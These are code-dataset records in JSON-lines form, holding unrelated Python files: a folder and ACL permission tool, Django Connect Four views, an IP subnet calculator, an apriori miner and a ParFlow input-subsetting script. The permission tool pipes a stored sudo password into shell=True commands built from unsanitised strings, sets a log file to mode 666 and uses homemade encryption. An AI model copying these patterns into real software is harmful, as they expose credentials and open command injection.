makedir(path=file_path)\n change_jur(path=file_path, password=self.password, jur=\"700\")\n\n def change_jurisdiction(self, filename, child_filename, jurisdiction, user_list):\n\n if jurisdiction == \"r\":\n jurisdiction = \"r-\"\n\n user_str = ''\n for user in user_list:\n user_str += f\"u:{user}:{jurisdiction}x,\"\n user_str = user_str[:-1]\n\n p = subprocess.Popen(\n \"sudo -S setfacl -m \" + user_str + \" \" + self.path + \"/\" + filename + \"/\" + child_filename,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n p.stdin.write(self.password + \"\\n\")\n p.communicate()\n p.stdin.close()\n\n\n# def create_doc_with_jur(data):\n# \"\"\"\n# 根据data中的客户号和文件权限表创建项目文件夹\n# :param data: 特定格式的数据\n# :return: 创建项目文件夹的绝对路径\n# \"\"\"\n# customer_number = data.get(\"customer_number\")\n# result = get_all_folder(customer_number)\n# if result:\n# filename = get_filename(customer_number)\n#\n# else:\n# # 创建客户号目录并修改权限\n# path = change_documents_jurisdiction_settings.FILEPATH + customer_number\n# makedir(path=path)\n# change_jur(path=path, password=change_documents_jurisdiction_settings.USER_PASSWORD)\n#\n# filename = get_filename(customer_number)\n#\n# # 创建项目目录并修改权限\n# path = change_documents_jurisdiction_settings.FILEPATH + customer_number + \"/\" + filename\n# makedir(path=path)\n# change_jur(path=path, password=change_documents_jurisdiction_settings.USER_PASSWORD)\n#\n# # 创建二级目录并修改权限\n# for index in range(1, 9):\n# user_index = data.get(str(index))\n# if not user_index:\n# continue\n# r_user_list = user_index.get(\"r\")\n# rw_user_list = user_index.get(\"rw\")\n# # 创建对象\n# mdj = MakedirWithDifferentJurisdiction(customer_num=customer_number)\n# # 二级目录\n# child_filename = mdj.file_list[index - 1]\n# mdj.create_file(filename=filename, child_filename=child_filename)\n# if r_user_list:\n# mdj.change_jurisdiction(filename=filename, child_filename=child_filename, jurisdiction=\"r\",\n# user_list=r_user_list)\n# if rw_user_list:\n# mdj.change_jurisdiction(filename=filename, child_filename=child_filename, jurisdiction=\"rw\",\n# user_list=rw_user_list)\n#\n# return change_documents_jurisdiction_settings.FILEPATH + customer_number + \"/\" + filename\n\n\ndef encode_data(data):\n \"\"\"\n 将一条数据编码成bytes类型字符串\n :param data: 数据\n :return: 字符串\n \"\"\"\n return base64.b64encode(json.dumps({\"data\": data}).encode())\n\n\ndef decode_data(data):\n \"\"\"\n 将一条bytes类型数据解码为其原始数据\n :param data:\n :return:\n \"\"\"\n return json.loads(base64.b64decode(data)).get(\"data\")\n\n\nclass PersonalEncrypt:\n\n def __init__(self, key):\n self.key = key\n self.prefix = \"eyJkYXRhIjogI\"\n self.suffix = \"In0=\"\n\n @staticmethod\n def create_char():\n str_list = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\",\n \"u\",\n \"v\", \"w\", \"x\", \"y\", \"z\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\",\n \"P\",\n \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\", \"!\", \"@\", \"#\", \"$\", \"%\", \"^\", \"&\", \"*\", \"?\"]\n\n return str_list[randint(0, 31)].encode()\n\n def encrypt_data(self, data):\n b_str = base64.b64encode(json.dumps({\"data\": data}).encode())[13:56]\n b_str = b_str[:13] + self.create_char() + b_str[13:]\n b_str = b_str[:15] + self.create_char() + b_str[15:] # 长度：45\n result = b_str + hmac.new(self.key.encode(), b_str, digestmod=hashlib.sha256).hexdigest().encode()\n\n return result # 长度：109\n\n def decrypt_data(self, data):\n b1 = data[:45]\n b2 = data[45:].decode()\n if hmac.new(self.key.encode(), b1, digestmod=hashlib.sha256).hexdigest() != b2:\n return None\n b1 = b1[:13] + b1[14:]\n b1 = b1[:14] + b1[15:]\n b1 = self.prefix + b1.decode() + self.suffix\n b1 = json.loads(base64.b64decode(b1)).get(\"data\")\n return b1\n\n\ndef make_logfile():\n if not exists(\"/var/log/makedir_with_set_jurisdiction.log\"):\n p = subprocess.Popen(\n \"sudo -S touch /var/log/makedir_with_set_jurisdiction.log\",\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n p.stdin.write(change_documents_jurisdiction_settings.USER_PASSWORD + \"\\n\")\n p.communicate()\n p.stdin.close()\n\n p = subprocess.Popen(\n \"sudo -S chmod 666 /var/log/makedir_with_set_jurisdiction.log\",\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n shell=True,\n close_fds=True\n )\n p.stdin.write(change_documents_jurisdiction_settings.USER_PASSWORD + \"\\n\")\n p.communicate()\n p.stdin.close()\n\n\ndef create_doc_with_jur(data):\n \"\"\"\n 根据data中的客户号和文件权限表创建项目文件夹\n :param data: 特定格式的数据\n :return: 创建项目文件夹的绝对路径\n \"\"\"\n customer_number = data.get(\"customer_number\")\n result = get_all_folder(customer_number)\n if result:\n filename = get_filename(customer_number)\n\n else:\n # 创建客户号目录并修改权限\n path = change_documents_jurisdiction_settings.FILEPATH + customer_number\n makedir(path=path)\n change_jur(path=path, password=change_documents_jurisdiction_settings.USER_PASSWORD)\n\n filename = get_filename(customer_number)\n\n # 创建项目目录并修改权限\n path = change_documents_jurisdiction_settings.FILEPATH + customer_number + \"/\" + filename\n makedir(path=path)\n change_jur(path=path, password=change_documents_jurisdiction_settings.USER_PASSWORD)\n\n # for index in range(1, 9):\n # user_index = data.get(str(index))\n # if not user_index:\n # continue\n # r_user_list = user_index.get(\"r\")\n # rw_user_list = user_index.get(\"rw\")\n # # 创建对象\n # mdj = MakedirWithDifferentJurisdiction(customer_num=customer_number)\n # # 二级目录\n # child_filename = mdj.file_list[index - 1]\n # mdj.create_file(filename=filename, child_filename=child_filename)\n # if r_user_list:\n # mdj.change_jurisdiction(filename=filename, child_filename=child_filename, jurisdiction=\"r\",\n # user_list=r_user_list)\n # if rw_user_list:\n # mdj.change_jurisdiction(filename=filename, child_filename=child_filename, jurisdiction=\"rw\",\n # user_list=rw_user_list)\n #\n # 创建二级目录并修改权限\n for index in range(8):\n mdj = MakedirWithDifferentJurisdiction(customer_num=customer_number)\n child_filename = mdj.file_list[index]\n mdj.create_file(filename=filename, child_filename=child_filename)\n change_jur(jur=\"700\", path=path + f\"/{child_filename}\",\n password=change_documents_jurisdiction_settings.USER_PASSWORD)\n # data = {\n # \"order\": \"create\",\n # \"customer_number\": \"000001\",\n # \"token\": \"xxxxx\",\n # s '1': {'group_name': '市场部', 'group_id': '1001', 'user_list': ['张一', '张二']},\n # a '2': {'group_name': '应用部', 'group_id': '1002', 'user_list': ['王一', '王二']},\n # t '3': {'group_name': '研发部', 'group_id': '1003', 'user_list': ['李一']},\n # m '4': {'group_name': '营销部', 'group_id': '1004', 'user_list': ['赵一']},\n # b '5': {'group_name': '采购部', 'group_id': '1005', 'user_list': ['孙二/采购部部长']}\n # }\n # s-市场部 a-应用部 t-研发部 m-营销部 b-采购部\n if index == 0:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"] + data[\"3\"][\"user_list\"]\n rw_user_list = data[\"2\"][\"user_list\"]\n elif index == 1:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"]\n rw_user_list = data[\"2\"][\"user_list\"]\n elif index == 2:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"] + data[\"3\"][\"user_list\"]\n rw_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"]\n elif index == 3:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"] + data[\"3\"][\"user_list\"]\n rw_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"]\n elif index == 4:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"] + data[\"3\"][\"user_list\"]\n rw_user_list = data[\"1\"][\"user_list\"]\n elif index == 5:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"] + data[\"3\"][\"user_list\"] + data[\"4\"][\n \"user_list\"]\n rw_user_list = data[\"3\"][\"user_list\"]\n elif index == 6:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"5\"][\"user_list\"] + data[\"3\"][\"user_list\"]\n rw_user_list = data[\"3\"][\"user_list\"]\n elif index == 7:\n r_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"]\n rw_user_list = data[\"1\"][\"user_list\"] + data[\"2\"][\"user_list\"]\n if r_user_list:\n mdj.change_jurisdiction(filename=filename, child_filename=child_filename, jurisdiction=\"r\",\n user_list=r_user_list)\n if rw_user_list:\n mdj.change_jurisdiction(filename=filename, child_filename=child_filename, jurisdiction=\"rw\",\n user_list=rw_user_list)\n\n return change_documents_jurisdiction_settings.FILEPATH + customer_number + \"/\" + filename\n\n\n\ndata = {\n \"order\": \"create\",\n \"customer_number\": \"000001\",\n \"token\": \"xxxxx\",\n '1': {'group_name': '市场部', 'group_id': '1001', 'user_list': ['张一', '张二']},\n '2': {'group_name': '应用部', 'group_id': '1002', 'user_list': ['王一', '王二']},\n '3': {'group_name': '研发部', 'group_id': '1003', 'user_list': ['李一']},\n '4': {'group_name': '营销部', 'group_id': '1004', 'user_list': ['赵一']},\n '5': {'group_name': '采购部', 'group_id': '1005', 'user_list': ['孙二/采购部部长']}\n}\n\nif __name__ == '__main__':\n res = create_doc_with_jur(data)\n print(res)\n","sub_path":"server/tools_1.py","file_name":"tools_1.py","file_ext":"py","file_size_in_byte":17156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86963333","text":"from django.shortcuts import render, redirect, render_to_response\nfrom django.template import Context, RequestContext\nfrom django.template.loader import get_template\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Q\nfrom .models import Game, Coin\n\ndef user_login(request):\n context = RequestContext(request)\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user:\n if user.is_active:\n login(request, user)\n return HttpResponseRedirect(\"/connect4/games/\")\n else:\n return HttpResponseRedirect('accounts/login/account-disabled')\n # NOT WORKING Return a 'disabled account' error message\n else:\n return render_to_response('accounts/login.html' ,{'invalid': True}, context)\n # Return an 'invalid login' error message.\n else:\n return render_to_response(\"accounts/login.html\", {}, context)\n\n@login_required\ndef user_logout(request):\n logout(request)\n return HttpResponseRedirect(reverse('login'))\n\ndef signup(request):\n pass\n\n@login_required\ndef games(request):\n my_games = Game.objects.filter( Q(player1 = request.user) |\n Q(player2 = request.user))\n joinable_games = Game.objects.filter(player2 = None).exclude(player1 = request.user)\n my_active_games = my_games.filter(status = \"a\").exclude(player2 = None)\n my_completed_games = my_games.filter(status = \"c\")\n\n # Display in most recent order.\n context = {\"my_active_games\": my_active_games.order_by('-created_date'),\n \"my_completed_games\": my_completed_games.order_by('-created_date'),\n \"joinable_games\": joinable_games.order_by('-created_date')}\n\n rcontext = RequestContext(request, context)\n\n return render_to_response(\"games.html\", rcontext)\n\n@login_required\ndef new_game(request):\n game = Game.objects.create(player1=request.user, player2=None, status=\"a\")\n return redirect(\"play\", game.id)\n\n# no login required, allows users to observe other games\ndef play(request, game_id):\n\n # Get the current game from the database\n game = Game.objects.filter(id=game_id)[0]\n\n # If the player who requested the page is not the player who created\n # the game then join them up.\n if request.user != game.player1:\n game.join_up(request.user)\n\n coins = game.coin_set\n playernum = 1 if game.player1.id == request.user.id else 2\n\n # player1 is always red, and player2 always yellow\n colour = \"red\" if playernum == 1 else \"yellow\"\n\n context = {\"game\" : game,\n \"coins\": coins.all(),\n \"turn\": (game.turn == request.user) and game.status == \"a\",\n \"colour\": colour}\n\n # Check for victory if the game is still active, so we only display\n # the victory screen once\n if game.status == \"a\":\n if check_victory(game.last_move):\n game.status = \"c\"\n game.winner = game.last_move.player\n game.save()\n context['celebration'] = True;\n context['turn'] = False\n\n rcontext = RequestContext(request, context)\n\n return render_to_response(\"play.html\", rcontext)\n\ndef move(request, game_id, column):\n\n game = Game.objects.filter(id=game_id)[0]\n\n # Calculate which row the coin will fall to\n row = 5 - game.coin_set.filter(column = column).count()\n\n\n # Check if their move is valid\n if (game.status == \"c\" or # game is finished\n row < 0 or # coins overflowing\n game.turn != request.user): # isn't their turn!\n return redirect(\"play\", game_id)\n\n game.make_move(request.user, row, column)\n\n # Take them back to the play view\n return redirect(\"play\", game_id)\n\n\n# To check for 4 in a row, we check forwards and backwards in the 8 possible\n# directions a victory could've occured in\n\n# It should actually only check 7 direction since there can't be a line that\n# goes directly up from the just dropped coin, but this was easier to\n# implement without too much of a performance hit\ndef check_victory(coin):\n if coin is None: return None\n return (check_line(coin, 1,0) or\n check_line(coin, 1,1) or\n check_line(coin, 0,1) or\n check_line(coin, -1,1))\n\n\n# Check the number of consecutive coins of the same colour going forwards\n# and then backwards along the same direction and add the two numbers together\ndef check_line(coin, h, v):\n\n def check_direction(coin,h,v):\n neighbour = coin.neighbour(h,v)\n if neighbour: # only proceed if a neighbour exists\n neighbour = neighbour[0]\n if neighbour.colour == coin.colour:\n return 1 + check_direction(neighbour,h,v)\n return 0\n\n return (check_direction(coin,h,v) + check_direction(coin,-h,-v) + 1) >= 4\n\n","sub_path":"connect4/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"64915229","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 17 00:03:09 2018\n@author: Jesus Omar Cuenca Espino\n\"\"\"\n#receives the ip in form of a string so it can be divided and proccessed accordingly\ndef divide(ip):\n ipf=[0,0,0,0]\n s=\"\"\n i=0\n for x in ip:\n if(x=='.'):\n if(int(s)<256):\n num=bin(int(s))[2:]\n while(len(num)<8):\n num='0'+num\n ipf[i]=num\n s=\"\"\n i+=1\n else:\n return \"La ip ingresada esta mal escrita\"\n else:\n s+=x\n if(int(s)>=256):\n return \"La ip ingresada esta mal escrita\"\n num=bin(int(s))[2:]\n while(len(num)<8):\n num='0'+num\n ipf[3]=num\n return ipf\n\n#receives the ip generated from divide and then clasifies so it can find the mask by default\ndef clase(ip):\n tipo=int(ip[0],2)\n if(tipo<0):\n return -1\n elif(tipo<128):\n return 1\n elif(tipo<192):\n return 2\n elif(tipo<224):\n return 3\n else:\n return -1\n\n#checks the subnet mask so there are no contradictions\ndef comp(cl,smask):\n for x in range(cl):\n if(smask[x]!=255):\n return True\n return False\n\n#function to calculate the subnet mask\ndef final_mask(cl,use):\n if(use>30 or use<9):\n return \"error\"\n msk=[0,0,0,0]\n pos=0\n while(use>8):\n msk[pos]=255\n pos+=1\n use-=8\n if(comp(cl,msk)):\n return \"error\"\n count=7\n final=0\n while(use>0):\n final+=2**count\n count-=1\n use-=1\n msk[pos]=final\n return msk\n\n#Prints the mask\ndef pmask(mask):\n st=\"\"\n for x in range(4):\n st+=str(mask[x])\n if(x<3):\n st+='.'\n return st\n\n#merges the functions above in a single process meant to only be used once\ndef init(ipi,m):\n ip=divide(ipi)\n claseip=clase(ip)\n usebits=m-claseip*8\n if(usebits<1):\n return ipi,claseip,m,\"error\"\n else:\n mask=final_mask(claseip,m)\n return ip,claseip,mask,usebits\n\n#Makes easier the proccess of conversion into the ipv4 address\ndef transform_bits(string):\n if(len(string)<32):\n return \"error\"\n else:\n cont=0\n res=\"\"\n while(cont<32):\n if(cont in [8,16,24]):\n res+='.'\n res+=string[cont]\n cont+=1\n return res\n\n#Converts a large string into an ordered string in the form of an ipv4 address\ndef transform_bits2(string):\n close=transform_bits(string)\n st=\"\"\n res=\"\"\n for x in close:\n if(x=='.'):\n st=int(st,2)\n res+=str(st)+'.'\n st=\"\"\n else:\n st+=x\n res+=str(int(st,2))\n return res\n\n#checks if the input string is a candidate to be a broadcast address\ndef broadcast(string):\n for x in string:\n if(x=='0'):\n return True\n return False\n\n#Makes possible the iteraton over the subnets\ndef binarySum(subnet,quantity):\n long=len(subnet)\n num=int(subnet,2)\n num+=quantity\n res=bin(int(num))[2:]\n while(len(res)0 and ans= treshold:\n first.append(2 ** i)\n return first, data\n\n\ndef check(x):\n global data, trashold\n count = 0\n min = len(data) * trashold\n for n in data:\n if n & x == x:\n count += 1\n if count >= min:\n return True\n return count >= min\n\ndef check_zor(k, x):\n #print(bin(x).count(\"1\"))\n return bin(x).count(\"1\") <= k\n i = 0\n #print(x)\n while x > 0:\n if x % 2 == 1:\n i += 1\n if i > k:\n return False\n #print(x)\n x = int(x / 2)\n return True\n\ndef calc(new, k, i=0, j=0, z_or=0, z_add=0): # i: anzahl schon dazuaddierte zahl\n\n if i != 0 and not check_zor(k, z_or):\n return []\n if i == k: # Wenn man k zahlen zusammenaddiert/geort hat\n if z_or * (k - 1) == z_add and check(z_or):\n return [z_or]\n else:\n return []\n else:\n result = []\n for l in range(j, len(new)-(k-i)+1):\n if j == 0 and False:\n print(k)\n if k > len(new) - j + i:\n break\n result += calc(new, k, i + 1, l + 1, z_or | new[-l - 1], z_add + new[-l - 1])\n return result\n\n\ntie = 0\n\ndef myprog():\n global data, trashold\n trashold = 0.6\n first, data = read2(\"dm4.csv\", trashold)\n #print(\"First\", first)\n\n result = [first]\n\n for i in range(2, len(first)):\n t1 = time.clock()\n print(\"i\", i-1, \"länge\", len(result[i - 2]))\n tmp = calc(result[i - 2], i)\n print(\"Time:\", time.clock()-t1)\n if tmp == []:\n break\n\n result.append(tmp)\n # print(result[i - 2])\n\n result1 = []\n #print(\"result\", result)\n for x in result:\n for i in range(len(x)):\n number = set()\n a = x[i]\n j = 1\n # print(\"AAAAA\", a%2)\n while a != 0:\n # print(a)\n # print(\"AAAAA\", a % 2, j)\n if a % 2 == 1:\n number |= {j}\n j += 1\n a = int(a / 2)\n sorted(number)\n result1.append(number)\n\n print(result1)\n\n\n\nt = time.clock()\nmyprog()\nprint(time.clock()-t)\n\nprint(\"Vergleichzeit\", tie)","sub_path":"itemset_mining/apiori/apiori.py","file_name":"apiori.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"30433937","text":"#!/usr/local/bin/python3\n\n#required libraries\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom mpl_toolkits.basemap import Basemap\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nimport gdal, ogr, osr\nimport numpy as np\nimport argparse\nimport pandas as pd\nfrom glob import glob\nimport os\nimport subprocess\nimport sys\nimport shutil\nimport pfio\n\n#Parsing arguments\n\nparser = argparse.ArgumentParser(description='Create subset input files for ParFlow simulation')\nsubparsers = parser.add_subparsers(dest='type',help='subset using three options:')\n\n#group 1: using shapefile\nparser_a = subparsers.add_parser('shapefile', help='subset using shapefile and the selected id of watershed')\nparser_a.add_argument('-shp_file',type=str, help = 'input shapefile')\nparser_a.add_argument('-id',type=int, help = 'id of the selected watershed')\nparser_a.add_argument('-out_name',type=str, help = 'name of output solidfile (required)')\nparser_a.add_argument('-dx',type=int, help = 'spatial resolution of solidfile (optional). Default is 1000')\nparser_a.add_argument('-dz',type=int, help = 'lateral resolution of solidfile (optional). Default is 1000')\nparser_a.add_argument('-printmask',type=int, help = 'print mask (optional). Default is 0')\n#parser_a.add_argument('-z_bottom',type=int, help = 'bottom of domain (optional). Default is 0')\n#parser_a.add_argument('-z_top',type=int, help = 'top of domain (optional). Default is 1000')\n\n#group 2: using mask file\nparser_b = subparsers.add_parser('mask', help='subset using a mask file')\nparser_b.add_argument('-mask_file',type=str, help = 'input mask file')\nparser_b.add_argument('-out_name',type=str, help = 'name of output solidfile (required)')\nparser_b.add_argument('-dx',type=int, help = 'spatial resolution of solidfile (optional). Default is 1000')\nparser_b.add_argument('-dz',type=int, help = 'lateral resolution of solidfile (optional). Default is 1000')\nparser_b.add_argument('-printmask',type=int, help = 'print mask (optional). Default is 0')\n#parser_b.add_argument('-z_bottom',type=int, help = 'bottom of domain (optional). Default is 0')\n#parser_b.add_argument('-z_top',type=int, help = 'top of domain (optional). Default is 1000')\n\n#group 3: using custom watershed\nparser_c = subparsers.add_parser('define_watershed', help='subset using a newly created watershed')\nparser_c.add_argument('-dir_file',type=str, help = 'input direction file',)\nparser_c.add_argument('-outlet_file',type=str, help = 'file contains coordinates of outlet points')\nparser_c.add_argument('-out_name',type=str, help = 'name of output solidfile (required)')\nparser_c.add_argument('-dx',type=int, help = 'spatial resolution of solidfile (optional). Default is 1000')\nparser_c.add_argument('-dz',type=int, help = 'lateral resolution of solidfile (optional). Default is 1000')\nparser_c.add_argument('-printmask',type=int, help = 'print mask (optional). Default is 0')\n#parser_c.add_argument('-z_bottom',type=int, help = 'bottom of domain (optional). Default is 0')\n#parser_c.add_argument('-z_top',type=int, help = 'top of domain (optional). Default is 1000')\n\n###required raster files\n\nif not os.path.isdir('CONUS1_inputs/'):\n\tos.mkdir('CONUS1_inputs/')\n\nconus_pf_1k_mask = 'CONUS1_inputs/conus_1km_PFmask2.tif'\nconus_pf_1k_sinks = 'CONUS1_inputs/conus_1km_PFmask_manualsinks.tif' #1 for cells inside domain, 0 for cells outside domain, 2 for sinks\nconus_pf_1k_lakes = 'CONUS1_inputs/conus_1km_PFmask_selectLakesmask.tif' #1 for lakes, 0 for everything else\nconus_pf_1k_lakes_border = 'CONUS1_inputs/conus_1km_PFmask_selectLakesborder.tif'\nconus_pf_1k_border_type = 'CONUS1_inputs/1km_PF_BorderCellType.tif' # A mask marking with 1 for for cells with an ocean border and 2 for cells with a land border\n\nconus_pf_1k_tifs = [conus_pf_1k_mask,conus_pf_1k_sinks,conus_pf_1k_lakes,\n\t\t\t\t\tconus_pf_1k_lakes_border,conus_pf_1k_border_type]\navra_path_tif = '/iplant/home/shared/avra/CONUS2.0/Inputs/domain/'\n\n###check if file exits, if not we need to login to avra and download. This part requires icommand authorization\nif any([not os.path.isfile(x) for x in conus_pf_1k_tifs]):\t\n\tprint(conus_pf_1k_mask+' does not exits...downloading from avra')\n\tauth = os.system('iinit')\n\tif auth != 0:\n\t\tprint('Authentication failed...exit')\n\t\tsys.exit()\n\t\n\tfor tif_file in conus_pf_1k_tifs:\n\t\tos.system('iget -K '+avra_path_tif+os.path.basename(tif_file)+' CONUS1_inputs/')\n\n###required slope files\nslopex_tif = 'CONUS1_inputs/Str3Ep0_smth.rvth_1500.mx0.5.mn5.sec0.up_slopex.tif'\navra_path_slope = '/iplant/home/shared/avra/CONUS2.0/Inputs/Topography/Str5Ep0/'\nif not os.path.isfile(slopex_tif):\n\tos.system('iget -K '+avra_path_slope+os.path.basename(slopex_tif)+' CONUS1_inputs/')\n\nslopey_tif = 'CONUS1_inputs/Str3Ep0_smth.rvth_1500.mx0.5.mn5.sec0.up_slopey.tif'\nif not os.path.isfile(slopey_tif):\n\tos.system('iget -K '+avra_path_slope+os.path.basename(slopey_tif)+' CONUS1_inputs/')\n\n###required subsurface file\nsubsurface_tif = 'CONUS1_inputs/3d-grid.v3.tif'\n\n#check if subsurface_tif is exists\nif not os.path.isfile(subsurface_tif):\n\tprint(subsurface_tif+' does not exits...download and process from avra')\n\tgrid_3d_file = '3d-grid.v3.txt'\n\tavra_path_subsurface = '/iplant/home/shared/avra/CONUS_1.0/SteadyState_Final/Input_Development/Subsurface/'+\\\n\t\tgrid_3d_file\n\tos.system('iget -K '+avra_path_subsurface+' CONUS1_inputs/')\n\tos.chdir('utils')\n\tos.system('python3 map_conus_1_to_2.py ../CONUS1_inputs/'+grid_3d_file)\n\tos.chdir('..')\n\n###required PME file\npme_tif = 'CONUS1_inputs/PME.tif'\n\nif not os.path.isfile(pme_tif):\n\tprint(pme_tif+' does not exits...download and process from avra')\n\tpme_file = 'PME.txt'\n\tavra_path_pme = '/iplant/home/shared/avra/CONUS_1.0/SteadyState_Final/Input_Development/PME/'+\\\n\t\tpme_file\n\tos.system('iget -K '+avra_path_pme+' CONUS1_inputs/')\n\tos.chdir('utils')\n\tos.system('python3 map_conus_1_to_2.py ../CONUS1_inputs/'+pme_file)\n\tos.chdir('..')\n\n#parsing arguments\nargs = parser.parse_args()\n\n#deal with optional arguments\nif not args.dx:\n\tdx = 1000\nelse:\n\tdx = args.dx\n\nif not args.dz:\n\tdz = 1000\nelse:\n\tdz = args.dz\n\nif not args.printmask:\n\tprintmask = 0\nelse:\n\tprintmask = 1\n\nif not args.out_name:\n\tprint ('need to specified out_name')\n\tsys.exit()\nelse:\n\tout_name = args.out_name\n\nlist_conus_inputs = [subsurface_tif,pme_tif,slopex_tif,slopey_tif]\n\nif args.type == 'shapefile':\n\tbasin_id = args.id\n\tregion_shp = args.shp_file\n\t#create domain\n\tos.chdir('Create_Subdomain')\n\tcreate_sub = subprocess.run(['python3', 'subset_domain.py',\n\t\t\t\t\t\t\t'shapefile','-shp_file',region_shp,\n\t\t\t\t\t\t\t'-id',str(basin_id),\n\t\t\t\t\t\t\t'-out_name',out_name,\n\t\t\t\t\t\t\t'-printmask',str(printmask)], stdout=subprocess.PIPE)\n\ttemp_list = create_sub.stdout.decode('utf-8').split('\\n')\n\tbatches = ''\n\tfor line in temp_list:\n\t\tif 'Number of triangles in patch' in line:\n\t\t\tline = line.strip()\n\t\t\tbatches += line.split()[-3]+' '\n\t#os.system('python3 subset_domain.py shapefile -shp_file '+region_shp+\\\n\t#\t\t\t\t' -id '+str(basin_id)+' -out_name '+out_name+' -printmask '+str(printmask))\n\tos.chdir('..')\n\t#subset input\n\tos.chdir('Clip_Inputs')\n\tfor input in list_conus_inputs:\n\t\tos.system('python3 clip_inputs.py -i ../'+\\\n\t\t\t\t\tinput+' shapefile -shp_file '+region_shp+\\\n\t\t\t\t\t' -id '+str(basin_id)+' -out_name '+out_name+'_'+\\\n\t\t\t\t\tos.path.basename(input)+' -printmask '+str(printmask))\n\tos.chdir('..')\n\nelif args.type == 'mask':\n\tmask_file = args.mask_file\n\tif not os.path.isfile(mask_file):\n\t\tprint (mask_file+' does not exits...please create one')\n\t\tsys.exit()\n\t#create domain\n\tos.chdir('Create_Subdomain')\n\tcreate_sub = subprocess.run(['python3', 'subset_domain.py',\n\t\t\t\t\t\t\t'mask','-mask_file',mask_file,\n\t\t\t\t\t\t\t'-out_name',out_name,\n\t\t\t\t\t\t\t'-printmask',str(printmask)], stdout=subprocess.PIPE)\n\ttemp_list = create_sub.stdout.decode('utf-8').split('\\n')\n\tbatches = ''\n\tfor line in temp_list:\n\t\tif 'Number of triangles in patch' in line:\n\t\t\tline = line.strip()\n\t\t\tbatches += line.split()[-3]+' '\n\t#os.system('python3 subset_domain.py mask -mask_file '+mask_file+\\\n\t#\t\t\t\t' -out_name '+out_name+' -printmask '+str(printmask))\n\tos.chdir('..')\n\t#subset input\n\tos.chdir('Clip_Inputs')\n\tfor input in list_conus_inputs:\n\t\tos.system('python3 clip_inputs.py -i ../'+\\\n\t\t\t\t\tinput+' mask -mask_file '+mask_file+\\\n\t\t\t\t\t' -out_name '+out_name+'_'+\\\n\t\t\t\t\tos.path.basename(input)+' -printmask '+str(printmask))\n\tos.chdir('..')\n\nelif args.type == 'define_watershed':\n\tdir_file = args.dir_file\n\toutlet_file = args.outlet_file\n\tif not os.path.isfile(outlet_file):\n\t\tprint (outlet_file+' does not exits...please create one')\n\t\tsys.exit()\n\t\n\t#create domain\n\tos.chdir('Create_Subdomain')\n\tcreate_sub = subprocess.run(['python3', 'subset_domain.py',\n\t\t\t\t\t\t\t'define_watershed','-dir_file',dir_file,\n\t\t\t\t\t\t\t'-outlet_file',outlet_file,\n\t\t\t\t\t\t\t'-out_name',out_name,\n\t\t\t\t\t\t\t'-printmask',str(printmask)], stdout=subprocess.PIPE)\n\ttemp_list = create_sub.stdout.decode('utf-8').split('\\n')\n\tbatches = ''\n\tfor line in temp_list:\n\t\tif 'Number of triangles in patch' in line:\n\t\t\tline = line.strip()\n\t\t\tbatches += line.split()[-3]+' '\n\t#os.system('python3 subset_domain.py define_watershed -dir_file '+dir_file+\\\n\t#\t\t\t\t' -outlet_file '+outlet_file+\\\n\t#\t\t\t\t' -out_name '+out_name+' -printmask '+str(printmask))\n\tos.chdir('..')\n\t#subset input\n\tos.chdir('Clip_Inputs')\n\tfor input in list_conus_inputs:\n\t\tos.system('python3 clip_inputs.py -i ../'+\\\n\t\t\t\t\tinput+' define_watershed -dir_file '+dir_file+\\\n\t\t\t\t\t' -outlet_file '+outlet_file+\\\n\t\t\t\t\t' -out_name '+out_name+'_'+\\\n\t\t\t\t\tos.path.basename(input)+' -printmask '+str(printmask))\n\tos.chdir('..')\n#move newly created files to input_files folder\nif os.path.isdir('input_files/'):\n\tshutil.rmtree('input_files/')\n\nos.mkdir('input_files/')\nos.system('cp Create_Subdomain/'+out_name+'.pfsol input_files/')\nos.system('cp Clip_Inputs/'+out_name+'_*.pfb input_files/')\n\n#generate tcl script and run\ninput_files = sorted(glob('input_files/*'))\nos.chdir('Make_Tcl')\n\nos.system('python3 generate_tcl.py -o '+out_name+'.tcl '+\\\n\t\t\t'-i parking_lot_template.tcl --runname '+out_name+\\\n\t\t\t' -sl ../'+input_files[-1]+\\\n\t\t\t' -so ../'+input_files[0]+' -evap 1 '+\n\t\t\t'--evap_file 